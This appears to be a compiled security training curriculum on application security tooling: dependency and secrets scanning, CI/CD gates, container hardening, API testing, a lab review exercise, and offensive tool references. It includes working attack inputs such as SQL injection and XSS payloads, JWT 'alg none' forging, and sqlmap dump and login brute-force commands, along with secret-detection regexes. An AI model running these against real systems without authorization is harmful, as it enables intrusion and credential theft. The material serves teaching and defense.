    docker run --rm ghcr.io/zaproxy/zaproxy:stable \
      zap-baseline.py -t http://staging.internal -r zap-report.html
```

Scope and Ethics

- DAST sends real attack payloads — only run against systems you own or have written authorization to test
- Always use a dedicated staging environment, never production
- Active scans can cause application errors, data corruption, or crashes on fragile apps
- ZAP active scan can be noisy — warn the team before running in shared staging

Source: `17-appsec-secure-sdlc/06-sca-dependency-scanning.md`

SCA — Dependency Scanning

Software Composition Analysis finds known CVEs in your third-party dependencies. Most breaches hit dependencies, not custom code.

Resources

- Snyk: <https://snyk.io/> (free tier available)
- OSV Scanner (Google, free): <https://github.com/google/osv-scanner>
- OWASP Dependency-Check: <https://owasp.org/www-project-dependency-check/>
- Trivy: <https://github.com/aquasecurity/trivy>

Snyk

```
# Install
npm install -g snyk
# or: brew install snyk

# Authenticate
snyk auth

# Scan Node.js project
snyk test

# Scan Python project
snyk test --file=requirements.txt

# Scan Go project
snyk test --file=go.mod

# Scan Java/Maven
snyk test --file=pom.xml

# High severity only
snyk test --severity-threshold=high

# Monitor ongoing (sends to Snyk dashboard)
snyk monitor

# Container image scan
snyk container test nginx:latest

# Fix suggestions
snyk wizard
```

Trivy (All-In-One — Container + Code + IaC)

```
# Install
brew install aquasecurity/trivy/trivy
# or: apt install trivy

# Container image scan
trivy image nginx:latest
trivy image myapp:latest --severity HIGH,CRITICAL

# Fail CI on critical findings
trivy image --exit-code 1 --severity CRITICAL myapp:latest

# Filesystem scan (dependencies in project)
trivy fs ./

# Git repo scan (includes secrets)
trivy repo https://github.com/org/repo

# JSON output
trivy image --format json myapp:latest -o trivy-results.json

# IaC scan (Terraform, Kubernetes manifests)
trivy config ./infra/
```

OWASP Dependency-Check

```
# Download
wget https://github.com/jeremylong/DependencyCheck/releases/latest/download/dependency-check-*.zip
unzip dependency-check-*.zip

# Scan project
./dependency-check/bin/dependency-check.sh \
  --project "MyApp" \
  --scan ./ \
  --format HTML \
  --out ./dc-report/

# Update NVD data (do this regularly)
./dependency-check/bin/dependency-check.sh --updateonly
```

OSV Scanner (Google — Free, Fast)

```
# Install
go install github.com/google/osv-scanner/cmd/osv-scanner@v1

# Scan current directory
osv-scanner scan --recursive ./

# Scan lock files
osv-scanner scan --lockfile=package-lock.json
osv-scanner scan --lockfile=requirements.txt
osv-scanner scan --lockfile=go.sum
```

GitHub Dependabot (Automatic PRs)

```
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10

  - package-ecosystem: "pip"
    directory: "/"
    schedule:
      interval: "weekly"
```

Remediation Priority

1. CRITICAL CVEs with known public exploits (CVSS 9+, exploitDB entry)
2. HIGH CVEs in internet-facing components
3. HIGH CVEs in auth/crypto libraries
4. MEDIUM CVEs in actively maintained packages
5. LOW CVEs — schedule for next release

CI/CD Integration

```
- name: Trivy dependency scan
  run: trivy fs --exit-code 1 --severity HIGH,CRITICAL ./

- name: Snyk check
  run: snyk test --severity-threshold=high
  env:
    SNYK_TOKEN: ${ secrets.SNYK_TOKEN }
```

Source: `17-appsec-secure-sdlc/07-secrets-scanning.md`

Secrets Scanning

Finding leaked credentials in code and git history. Pre-commit prevention beats post-commit detection.

Resources

- Trufflehog: <https://github.com/trufflesecurity/trufflehog>
- GitLeaks: <https://github.com/gitleaks/gitleaks>
- detect-secrets: <https://github.com/Yelp/detect-secrets>
- pre-commit framework: <https://pre-commit.com/>

Trufflehog (Deep Git History Scan)

```
# Install
brew install trufflehog
# or: docker pull trufflesecurity/trufflehog

# Scan local repo (entire git history)
trufflehog git file://. --json

# Scan GitHub org
trufflehog github --org=myorg --token=$GITHUB_TOKEN

# Scan a specific GitHub repo
trufflehog github --repo=https://github.com/org/repo

# Scan S3 bucket
trufflehog s3 --bucket=mybucket

# Only verified secrets (reduces false positives)
trufflehog git file://. --only-verified

# Docker image scan
trufflehog docker --image=myapp:latest

# Output JSON for pipeline
trufflehog git file://. --json 2>/dev/null | jq '.SourceMetadata'
```

GitLeaks

```
# Install
brew install gitleaks
# or: go install github.com/gitleaks/gitleaks/v8@latest

# Detect secrets in current repo
gitleaks detect --source=. -v

# Scan with custom config
gitleaks detect --source=. --config=.gitleaks.toml

# Protect mode — check staged changes (use in pre-commit)
gitleaks protect --staged -v

# Report output
gitleaks detect --source=. --report-format=json --report-path=gitleaks-report.json

# Example .gitleaks.toml (add custom patterns)
# [extend]
# useDefault = true
# [[rules]]
# id = "internal-api-key"
# regex = '''MY_APP_KEY_[A-Z0-9]{32}'''
```

detect-secrets (Pre-Commit Integration)

```
# Install
pip install detect-secrets

# Scan current directory
detect-secrets scan > .secrets.baseline

# Audit baseline (review each finding)
detect-secrets audit .secrets.baseline

# Run as pre-commit check
detect-secrets scan --baseline .secrets.baseline
```

Pre-Commit Hook Setup

```
# .pre-commit-config.yaml
repos:
  - repo: https://github.com/trufflesecurity/trufflehog
    rev: v3.63.7
    hooks:
      - id: trufflehog
        args: ["git", "file://.", "--only-verified", "--fail"]

  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.18.1
    hooks:
      - id: gitleaks
```

```
# Install pre-commit and hooks
pip install pre-commit
pre-commit install
pre-commit run --all-files
```


Common Secret Patterns Detected

```
AWS Access Key:      AKIA[0-9A-Z]{16}
GitHub Token:        ghp_[a-zA-Z0-9]{36}
Slack Token:         xox[baprs]-[0-9a-zA-Z]{10,48}
Google API Key:      AIza[0-9A-Za-z\-\_]{35}
Private Keys:        -----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----
Stripe Keys:         sk_live_[0-9a-zA-Z]{24}
Twilio:              SK[0-9a-fA-F]{32}
Generic password:    password\s*=\s*['\"][^'"]{8,}['"]
```

GitHub Native Secret Scanning

- Enabled automatically on all public repos
- Enable on private repos: Settings → Code security → Secret scanning
- Push protection: blocks push if secrets detected
- View alerts: Security → Secret scanning alerts

If Secrets Are Found in History

```
# Rotate the credential immediately – assume it's compromised
# Then remove from history using BFG or git-filter-repo

# BFG Repo Cleaner (faster than filter-branch)
java -jar bfg.jar --replace-text passwords.txt myrepo.git
cd myrepo.git && git reflog expire --expire=now --all && git gc --prune=now --aggressive
git push --force

# Never rely on "deleted" history being safe – rotate the secret first
```

Source: 17-appsec-secure-sdlc/08-security-in-cicd.md

Security in CI/CD

Security gates in the pipeline — catch issues automatically before code ships.

Resources

- GitHub Actions security hardening: <https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions>
- OWASP DevSecOps Guideline: <https://owasp.org/www-project-devsecops-guideline/>
- Cosign (image signing): <https://github.com/sigstore/cosign>

Pipeline Security Stages

Code commit

↓

[Pre-commit hooks] → secrets scan (trufflehog), linting

↓

[SAST] → Semgrep, Bandit, ESLint security

↓

[Build] → Docker image build

↓

[SCA + Container] → Snyk / Trivy dependency + image scan

↓

[Secrets in image] → Trufflehog docker scan

↓

[Deploy to staging]

↓

[DAST] → Nuclei, ZAP baseline scan

↓

[Sign image] → cosign sign

↓

[Deploy to prod]


```
name: Security Pipeline

on:
  push:
    branches: [main, develop]
  pull_request:

jobs:
  sast:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Semgrep SAST
        uses: returntocorp/semgrep-action@v1
        with:
          config: p/owasp-top-ten

      - name: Bandit (Python)
        run: |
          pip install bandit
          bandit -r ./src/ -l -i -f json -o bandit.json || true

  sca-and-container:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Snyk dependency check
        run: snyk test --severity-threshold=high
        env:
          SNYK_TOKEN: ${ secrets.SNYK_TOKEN }

      - name: Build image
        run: docker build -t myapp:${ github.sha } .

      - name: Trivy container scan
        run: |
          trivy image \
            --exit-code 1 \
            --severity HIGH,CRITICAL \
            myapp:${ github.sha }

  secrets-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0 # full history for trufflehog

      - name: Trufflehog secrets scan
        uses: trufflesecurity/trufflehog@main
        with:
          path: ./
          base: ${ github.event.repository.default_branch }
          only-verified: true

  dast:
    needs: [sast, sca-and-container]
    runs-on: ubuntu-latest
    steps:
      - name: Nuclei DAST
        run: |
          nuclei -u http://staging.internal \
            -severity high,critical \
            -exit-code 1
```

```
- name: ZAP Baseline Scan
  uses: zapproxy/action-baseline@v0.10.0
  with:
    target: 'http://staging.internal'
```

Secret Management — Never Hardcode

```
# GitHub Secrets (CI use)
# Settings → Secrets and variables → Actions → New repository secret
# Access in workflow: ${ secrets.MY_SECRET }

# HashiCorp Vault
vault kv get secret/myapp/db-password
vault kv put secret/myapp/db-password value="s3cr3t"

# AWS Secrets Manager
aws secretsmanager get-secret-value --secret-id myapp/db-password

# Pass to container at runtime (not baked in image)
docker run -e DB_PASSWORD=$(vault kv get -field=value secret/db) myapp:latest
```

Branch Protection Rules

```
Settings → Branches → Add rule for main:
[x] Require status checks to pass before merging
    → Add: semgrep, trivy-scan, snyk-check
[x] Require pull request reviews before merging
[x] Dismiss stale pull request approvals
[x] Restrict who can push to matching branches
```

Container Image Signing

```
# Install cosign
brew install cosign

# Generate key pair
cosign generate-key-pair

# Sign image after build + scan pass
cosign sign --key cosign.key myregistry/myapp:latest

# Verify before deploy
cosign verify --key cosign.pub myregistry/myapp:latest

# Keyless signing (GitHub OIDC)
cosign sign myregistry/myapp:latest
```

Source: `17-appsec-secure-sdlc/09-container-and-infrastructure-security.md`

Container and Infrastructure Security

Secure containers start at the Dockerfile. Kubernetes security is RBAC + network policies + runtime monitoring.

Resources

- Docker Bench for Security: <https://github.com/docker/docker-bench-security>
- kube-bench: <https://github.com/aquasecurity/kube-bench>

- kube-hunter: <https://github.com/aquasecurity/kube-hunter>
- Falco: <https://falco.org/>
- TryHackMe “Kubernetes for Everyone”: <https://tryhackme.com/room/kubernetesforyouly>

Secure Dockerfile Patterns

```
# BAD — root user, fat base image, secrets in layer
FROM ubuntu:latest
RUN apt-get install -y curl python3
ENV DB_PASSWORD=supersecret
COPY . /app

# GOOD — non-root, minimal image, multi-stage, no secrets
FROM golang:1.21-alpine AS builder
WORKDIR /build
COPY . .
RUN go build -o app ./cmd/server

FROM alpine:3.19
RUN adduser -D -u 10001 appuser
COPY --from=builder /build/app /usr/local/bin/app
USER appuser
EXPOSE 8080
ENTRYPOINT ["app"]
```

```
# Key rules:
# - USER appuser (never root in production)
# - Minimal base: alpine, distroless, scratch
# - Multi-stage builds (no build tools in final image)
# - No ENV with secrets — inject at runtime
# - Pin base image versions (not :latest)
# - .dockerignore to exclude .git, .env, secrets
```

Trivy Container Scan

```
# Scan public image
trivy image nginx:latest

# Scan with severity filter
trivy image --severity HIGH,CRITICAL myapp:latest

# Fail CI on critical
trivy image --exit-code 1 --severity CRITICAL myapp:latest

# Scan local tar
docker save myapp:latest | trivy image --input -

# Scan IaC (Terraform, Kubernetes YAML)
trivy config ./k8s/
trivy config ./terraform/
```

Docker Bench for Security

```
# Run CIS Docker Benchmark checks
docker run --rm --net host --pid host --userns host --cap-add audit_control \
  -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
  -v /etc:/etc:ro \
  -v /usr/bin/containerd:/usr/bin/containerd:ro \
  -v /usr/bin/runc:/usr/bin/runc:ro \
  -v /usr/lib/systemd:/usr/lib/systemd:ro \
  -v /var/lib:/var/lib:ro \
  -v /var/run/docker.sock:/var/run/docker.sock:ro \
  --label docker_bench_security \
  docker/docker-bench-security
```

Kubernetes Security

```
# Check what current service account can do
kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system

# View all RBAC roles
kubectl get clusterroles
kubectl get roles --all-namespaces

# Check for overly permissive bindings
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin")'

# View network policies
kubectl get networkpolicies --all-namespaces

# Check pod security settings
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.securityContext.runAsRoot==true)'
```

kube-bench (CIS Kubernetes Benchmark)

```
# Run in cluster
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs job/kube-bench

# Run locally against cluster
kube-bench run --targets master
kube-bench run --targets node
```

kube-hunter (Active Kubernetes Pentesting)

```
# Run from inside cluster (check internal exposure)
docker run -it aquasec/kube-hunter --pod

# Run from outside cluster (check external exposure)
kube-hunter --remote <cluster-IP>

# Passive mode only
kube-hunter --remote <cluster-IP> --passive
```

Falco (Runtime Security Monitoring)

```
# Install via Helm
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco --set tty=true

# Example Falco rule – detect shell in container
# - rule: Terminal shell in container
#   desc: A shell was used as the entrypoint/exec point into a container
#   condition: container.id != host and proc.name = bash
#   output: Shell in container (user=%user.name container=%container.name)
#   priority: WARNING

# View Falco alerts
kubectl logs -l app=falco -n falco
```

Ethical Note

kube-hunter active mode sends real attack probes. Only run against clusters you own or have explicit authorization to test.

Source: `17-appsec-secure-sdlc/10-api-security-testing.md`

API Security Testing

API security is its own discipline. REST APIs fail differently from web apps — test BOLA, mass assignment, and auth on every endpoint.

Resources

- OWASP API Security Top 10: <https://owasp.org/www-project-api-security/>
- OWASP crAPI lab: <https://github.com/OWASP/crAPI>
- PortSwigger API testing: <https://portswigger.net/web-security/api-testing>

Setup crAPI Lab

```
# Full local API security lab
git clone https://github.com/OWASP/crAPI
cd crAPI
docker-compose -f deploy/docker/docker-compose.yml up -d

# App at http://localhost:8888
# Mail server at http://localhost:8025
```


Recon — Find the API

```
# Common API documentation locations
curl http://target/swagger.json
curl http://target/swagger.yaml
curl http://target/openapi.json
curl http://target/api-docs
curl http://target/v1/api-docs
curl http://target/.well-known/openapi

# Fuzz for API paths
ffuf -u http://target/api/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/api-
endpoints.txt

# Check JS files for API calls
grep -r "fetch\|axios\|http\." dist/ --include="*.js" | grep -i "api\|/v[0-9]"
```

Core API Test Checklist

```
[ ] Auth on every endpoint – remove token, does it still respond?
[ ] BOLA/IDOR – change resource ID to another user's ID
[ ] Mass assignment – add extra fields (isAdmin, role, price)
[ ] HTTP methods – try DELETE/PUT where only GET is expected
[ ] Rate limiting – send 100 requests, is it blocked?
[ ] JWT validation – decode, modify claims, re-encode with no signature
[ ] Input validation – SQL/XSS/command injection in all params
[ ] Error messages – do 4xx/5xx responses leak internal info?
[ ] CORS – does it allow any origin? Does it allow credentials?
[ ] Versioning – does v1 have vulns that v2 patched?
```

BOLA Testing (Broken Object Level Authorization)

```
# Login as user A, get their resource ID
GET /api/v1/users/1234/orders HTTP/1.1
Authorization: Bearer <user_A_token>

# Change ID to user B's ID with user A's token
GET /api/v1/users/5678/orders HTTP/1.1
Authorization: Bearer <user_A_token>    # Should be 403 – often isn't
```

Mass Assignment Testing

```
# Normal registration
POST /api/v1/users
{"username": "test", "password": "pass123"}

# Try adding privileged fields
POST /api/v1/users
{"username": "test", "password": "pass123", "role": "admin", "isAdmin": true, "credit": 9999}
```

JWT Testing

```
# Decode JWT (no verification)
echo "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.xxx" | cut -d. -f2 | base64 -d

# Try algorithm confusion: change alg to "none"
# Header: {"alg":"none","typ":"JWT"}
# Payload: {"sub":"admin","role":"admin"}
# Signature: (empty)

# Burp Suite JWT Editor extension — automates this testing
```

Automated API Scanning

```
# Nuclei API templates
nuclei -u http://target/api -t ~/nuclei-templates/http/exposures/apis/

# Import OpenAPI spec into ZAP for full coverage
# ZAP: Import → OpenAPI Definition File → run active scan

# Postman collection to security test
# Import API collection → run collection with security-focused test scripts
```

OWASP API Top 10 Quick Reference

```
API1  BOLA — access other users' objects by changing IDs
API2  Broken Auth — weak tokens, no expiry, missing validation
API3  Broken Object Property Auth — mass assignment, excessive data exposure
API4  Unrestricted Resource Consumption — no rate limits
API5  Broken Function Level Auth — user calls admin endpoints
API6  Unrestricted Access to Sensitive Business Flows — no bot protection
API7  SSRF — server fetches user-supplied URL
API8  Security Misconfiguration — verbose errors, open CORS
API9  Improper Inventory Management — old versions, test endpoints in prod
API10 Unsafe API Consumption — trusting third-party API responses
```

Ethical Note

API testing sends real payloads that modify data. Always use a dedicated test environment with test accounts. Never test against APIs you don't own or have written authorization to test.

Source: 17-appsec-secure-sdlc/11-integration-security-review-pipeline.md

Integration Security Review Pipeline

End-to-end AppSec review exercise. Take any open-source app and run a full security review in 3–4 hours.

Resources

- DVWA: <https://github.com/digininja/DVWA>
- NodeGoat (Node.js): <https://github.com/OWASP/NodeGoat>
- OWASP Juice Shop: <https://github.com/juice-shop/juice-shop>
- Security review report template: <https://github.com/magicmarkh/pentest-report-template>

Setup Target App

```
# Option A: DVWA (PHP)
docker run --rm -p 80:80 vulnerables/web-dvwa

# Option B: Juice Shop (Node.js — more modern)
docker run --rm -p 3000:3000 bkimminich/juice-shop

# Option C: NodeGoat (Express — good for JS review)
git clone https://github.com/OWASP/NodeGoat
cd NodeGoat && docker-compose up
```

Step 1 — Threat Model (15 min)

Pick one feature (e.g., login, user profile, shopping cart)

1. Draw data flow on paper or Threat Dragon
2. Identify all trust boundaries
3. Apply STRIDE — write 1-2 threats per boundary
4. Note the top 3 risks to verify in later steps

Step 2 — SAST (20 min)

```
# Clone the app source
git clone https://github.com/OWASP/NodeGoat && cd NodeGoat

# Run Semgrep
semgrep --config=p/javascript .
semgrep --config=p/nodejs .

# Check for secrets
trufflehog git file:/// . --only-verified

# Manual grep for high-value patterns
grep -rn "exec(\|eval(" . --include="*.js"
grep -rn "password" . --include="*.js" | grep -v "test\|node_modules"
grep -rn "innerHTML" . --include="*.js"
```

Step 3 — SCA (10 min)

```
# Dependency scan
 snyk test
# or
 npm audit
# or
 trivy fs ./

# Note: Juice Shop has many intentional vulns in deps — that's the point
```

Step 4 — Secrets in History (10 min)

```
trufflehog git file:/// . --json 2>/dev/null | jq '.'
gitleaks detect --source=. -v
```

Step 5 — Deploy and DAST (30 min)

```
# ZAP baseline (passive, fast)
docker run --rm ghcr.io/zaproxy/zaproxy:stable \
  zap-baseline.py -t http://localhost:3000 -r zap-report.html

# Nuclei
nuclei -u http://localhost:3000 -severity medium,high,critical

# Nikto
nikto -h http://localhost:3000
```

Step 6 — Manual Testing of OWASP Top 3 (60 min)

```
# Open Burp Suite, proxy browser to localhost

# Test 1: SQL Injection (if applicable)
# → Login form: username = admin'-- password = anything
# → Observe response

# Test 2: Broken Access Control
# → Login as low-priv user
# → Try accessing /admin, /api/v1/users/1 (another user's ID)
# → Modify your user ID in requests

# Test 3: XSS
# → Search fields, profile name, comment boxes
# → Payload: <script>alert(1)</script>
# → Payload: <img src=x onerror=alert(1)>
```

Step 7 — Security Review Report

```
# Security Review — [App Name] — [Date]

## Scope
- Application: Juice Shop v15.x
- Review type: Lightweight security review
- Duration: 4 hours

## Findings

### FINDING-001: SQL Injection in Login Form
- Severity: Critical
- Location: app/routes/login.js line 42
- Evidence: `` OR '1'='1` bypasses authentication
- Remediation: Use parameterized queries with pg/mysql2

### FINDING-002: Hardcoded JWT Secret
- Severity: High
- Location: config/env/all.js line 12
- Evidence: `secret: 'keyboard cat'`
- Remediation: Load from environment variable, rotate secret

### FINDING-003: Missing Rate Limiting on Login
- Severity: Medium
- Location: POST /rest/user/login
- Evidence: 1000 requests sent, none blocked
- Remediation: Add express-rate-limit middleware

## Summary
3 findings: 1 Critical, 1 High, 1 Medium
Immediate action required on FINDING-001 and FINDING-002.
```

Time Budget for 3-4 Hour Review

15 min – Threat modeling
20 min – SAST + secrets
10 min – SCA
30 min – DAST
60 min – Manual testing
45 min – Report writing

Phase — 18-industry-standard-tooling

Directory: 18-industry-standard-tooling/

Source: 18-industry-standard-tooling/01-tooling-overview-and-categories.md

Industry Standard Tooling Overview

Know what each tool is for, when to reach for it, and enough to get started. This phase is a reference map.

Tooling by Category

Category	Tools
Reconnaissance	Nmap, Masscan, Shodan, theHarvester, Amass, Recon-ng
Web Testing	Burp Suite Pro, OWASP ZAP, Nikto, Nuclei, SQLmap, ffuf, wfuzz
Exploitation	Metasploit, Sliver, Havoc, Cobalt Strike, searchsploit
AD / Windows	BloodHound, CrackMapExec/NetExec, PowerView, Impacket, Rubeus, Mimikatz
Credentials	Hashcat, John the Ripper, CrackStation
Post-Exploitation	Meterpreter, PEASS-ng, Ligolo-ng, Socat, Netcat
Defensive	Wireshark, Zeek, Suricata, Velociraptor, Splunk, Elastic, Sysmon, YARA
AppSec	Semgrep, Snyk, Trivy, Trufflehog, ZAP, Burp Suite
Reporting	Pwndoc, SysReptor, Dradis, Cherrytree

Coverage Map to Other Phases

Reconnaissance tools	→ Phase 09 (Enumeration Methodology)
Web testing tools	→ Phase 06 (Burp/HTTP), Phase 10 (Labs)
Exploitation frameworks	→ Phase 11 (Exploitation Fundamentals)
AD/Windows tools	→ Phase 13 (Active Directory Attacks)
Credential tools	→ Phase 12 (Privilege Escalation)
Post-exploitation	→ Phase 14 (Post-Exploitation)
Pivoting tools	→ Phase 15 (Pivoting and Tunneling)
Defensive tools	→ Phase 16 (Blue Team/SOC/IR)
AppSec tools	→ Phase 17 (AppSec Secure SDLC)

What to Know for Each Tool

1. What problem does it solve?
2. One-liner to get started with it
3. Where does it fit in the attack/defense chain?
4. What does it NOT do (so you reach for the right tool)?

Tool Installation Baseline (Kali Linux)

```
# Most tools pre-installed in Kali
# Verify presence
which nmap burpsuite metasploit-framework bloodhound hashcat

# Install missing tools
sudo apt update
sudo apt install -y nmap masscan nikto gobuster ffuf john hashcat seclists

# Go-based tools
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

# Python-based tools
pip install impacket bloodhound trufflehog
```

Key Wordlists (SecLists)

```
# Clone SecLists – essential for all enumeration
git clone https://github.com/danielmiessler/SecLists /usr/share/seclists
# or: apt install seclists

ls /usr/share/seclists/
# Discovery/      – directories, DNS, API endpoints
# Passwords/     – wordlists for cracking
# Usernames/     – username lists
# Fuzzing/       – payload lists for injection testing
```

Tool Decision Flow

Need to find open ports fast?	→ Masscan then Nmap
Need to find web content?	→ ffuf or gobuster
Need to test web vulns manually?	→ Burp Suite Pro
Need automated web vuln scan?	→ Nuclei or ZAP
Need to compromise a Windows box?	→ Metasploit or manual exploit
Need AD attack paths?	→ BloodHound
Need to crack hashes?	→ Hashcat
Need to escalate on Linux?	→ LinPEAS then manual
Need to pivot through a network?	→ Ligolo-ng

Source: 18-industry-standard-tooling/02-reconnaissance-tools.md

Reconnaissance Tools

Find what's exposed before you touch it. All recon must be against systems you own or have explicit written authorization to test.

Resources

- Shodan: <https://shodan.io>
- theHarvester: <https://github.com/laramies/theHarvester>
- Amass: <https://github.com/owasp-amass/amass>
- SecLists: <https://github.com/danielmiessler/SecLists>

Nmap

```
# Quick scan — top 1000 ports
nmap -sC -sV target -oA nmap-quick

# Full TCP port scan
nmap -sC -sV -p- target -oA nmap-full

# UDP scan (top 100)
nmap -sU --top-ports 100 target

# Vuln scripts
nmap --script vuln target

# OS detection + aggressive
nmap -A target

# Scan subnet, output all formats
nmap -sC -sV 192.168.1.0/24 -oA nmap-subnet
```

Masscan (Fast — Large Ranges)

```
# Install
apt install masscan

# Scan entire subnet for web ports
masscan 192.168.1.0/24 -p80,443,8080,8443 --rate=1000

# Scan large range fast
masscan 10.0.0.0/8 -p22,80,443,3389 --rate=5000 -oG masscan-out.txt

# Pipe into Nmap for service detection
masscan 10.0.0.0/24 -p- --rate=1000 | awk '{print $6}' | \
  xargs -I{} nmap -sC -sV -p- {}
```

Shodan (Internet Exposure)

```
# Install CLI
pip install shodan
shodan init <API_KEY>

# Search for exposed services
shodan search "apache 2.4" org:"Target Company"
shodan search 'hostname:target.com port:22'
shodan search 'ssl.cert.subject.cn:target.com'

# Host info
shodan host 1.2.3.4

# Download results
shodan download results 'org:"Target Corp"'
shodan parse --fields ip_str,port,transport results.json.gz
```


theHarvester (OSINT — Email, Subdomains)

```
# Basic search across sources
theHarvester -d target.com -b google,bing,linkedin,dnsdumpster

# All sources
theHarvester -d target.com -b all

# Save results
theHarvester -d target.com -b google,linkedin -f harvest-results
```

Amass (Subdomain Enumeration)

```
# Passive enumeration (OSINT only)
amass enum -passive -d target.com

# Active enumeration (DNS brute force)
amass enum -d target.com -brute -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Intel — find related ASNs and CIDRs
amass intel -org "Target Corporation"

# Visualize
amass viz -d3 -d target.com
```

Subfinder (Fast Passive Subdomain Discovery)

```
# Install
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

# Basic run
subfinder -d target.com

# All sources, verbose
subfinder -d target.com -all -v

# Output to file, pipe to httpx
subfinder -d target.com -o subs.txt
cat subs.txt | httpx -status-code -title -tech-detect
```

DNSx (DNS Resolution + Enumeration)

```
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest

# Resolve list of subdomains
cat subs.txt | dnsx -resp

# Brute force subdomains
dnsx -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```

Recon-ng (Modular OSINT Framework)

```
recon-ng
> marketplace install all
> workspaces create target_com
> modules load recon/domains-hosts/bing_domain_web
> options set SOURCE target.com
> run
> show hosts
```

Ethical Note

Passive recon (Shodan queries, public DNS lookups) is generally lower risk but check your scope. Active scanning (Nmap, Masscan against live systems) requires explicit written authorization. Never scan systems not in scope.

Source: `18-industry-standard-tooling/03-web-testing-tools.md`

Web Testing Tools

Manual testing with Burp Suite Pro is the core skill. Automate the rest.

Resources

- Burp Suite Pro extensions: <https://portswigger.net/bappstore>
- Nuclei templates: <https://github.com/projectdiscovery/nuclei-templates>
- SecLists wordlists: <https://github.com/danielmiessler/SecLists>

Burp Suite Pro — Core Workflow

```
Proxy → Intercept → Forward to Repeater (Ctrl+R) → Modify → Send
Target → Site map → right-click → Scan (active scan)
Intruder → paste request → mark $positions$ → set wordlist → start attack
Collaborator → generate URL → paste in payload → check for DNS/HTTP callbacks
```

```
# Key extensions to install (BApp Store)
Authorize           – automated auth bypass testing (BOLA/IDOR)
JWT Editor          – decode, modify, resign JWTs
Param Miner         – discover hidden parameters
HTTP Request Smuggler – CL.TE and TE.CL smuggling detection
ActiveScan++       – extended active scanning checks
Logger++           – advanced request logging
```

OWASP ZAP (Free Burp Alternative)

```
# Install
apt install zaproxy
# or: docker pull ghcr.io/zaproxy/zaproxy:stable

# GUI mode
zaproxy &

# Daemon mode for scripting
zaproxy -daemon -port 8090 -config api.key=mysecretkey

# ZAP CLI
pip install zapcli
zap-cli --api-key mysecretkey spider http://target.local
zap-cli --api-key mysecretkey active-scan http://target.local
zap-cli --api-key mysecretkey report -o report.html -f html
```

Nikto (Basic Web Server Misconfiguration)

```
# Basic scan
nikto -h http://target.local

# HTTPS
nikto -h https://target.local -ssl

# Specific port
nikto -h target.local -p 8443

# Save report
nikto -h http://target.local -o nikto-report.html -Format html

# Through proxy (Burp)
nikto -h http://target.local -useproxy http://127.0.0.1:8080
```

Nuclei (Template-Based, Low False Positives)

```
# Install
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Update templates
nuclei -update-templates

# Full scan
nuclei -u http://target.local

# High/Critical only
nuclei -u http://target.local -severity high,critical

# Specific template categories
nuclei -u http://target.local -t ~/nuclei-templates/http/cves/
nuclei -u http://target.local -t ~/nuclei-templates/http/default-logins/
nuclei -u http://target.local -t ~/nuclei-templates/http/exposures/

# Multiple targets
nuclei -list targets.txt -severity high,critical

# JSON output
nuclei -u http://target.local -json -o nuclei-results.json
```

ffuf (Directory and Parameter Fuzzing)

```
# Directory brute force
ffuf -u http://target.local/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# File extension fuzzing
ffuf -u http://target.local/indexFUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt

# Parameter fuzzing (GET)
ffuf -u "http://target.local/search?FUZZ=value" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

# POST parameter fuzzing
ffuf -u http://target.local/login \
  -X POST -d "username=admin&password=FUZZ" \
  -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt \
  -H "Content-Type: application/x-www-form-urlencoded"

# Filter by response code
ffuf -u http://target.local/FUZZ -w wordlist.txt -fc 404

# Virtual host fuzzing
ffuf -u http://target.local -H "Host: FUZZ.target.local" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1234
```

SQLmap (SQL Injection — Labs Only)

```
# Basic GET parameter test
sqlmap -u "http://target/page?id=1" --dbs

# POST parameter test
sqlmap -u "http://target/login" --data="user=admin&pass=test" --dbs

# Dump specific database
sqlmap -u "http://target/page?id=1" -D dbname --tables
sqlmap -u "http://target/page?id=1" -D dbname -T users --dump

# Use Burp-captured request
sqlmap -r request.txt --dbs

# Risk/level increase
sqlmap -u "http://target/page?id=1" --level=5 --risk=3 --dbs
```

wfuzz (Parameter Fuzzing Alternative)

```
# Directory fuzzing
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt \
  --hc 404 http://target.local/FUZZ

# Brute force login
wfuzz -c -z file,username.txt -z file,passwords.txt \
  --hc 302 -d "user=FUZZ&pass=FUZZ" http://target.local/login
```

Ethical Note

SQLmap runs actual injection payloads — only use in authorized labs or engagements. Intruder brute force and active scanning should only target systems in scope.

Exploitation Frameworks

Core exploitation infrastructure. Metasploit for OSCP, Sliver/Havoc for modern red team, Cobalt Strike for enterprise.

Resources

- Metasploit docs: <https://docs.metasploit.com/>
- Sliver C2: <https://github.com/BishopFox/sliver>
- Havoc C2: <https://github.com/HavocFramework/Havoc>
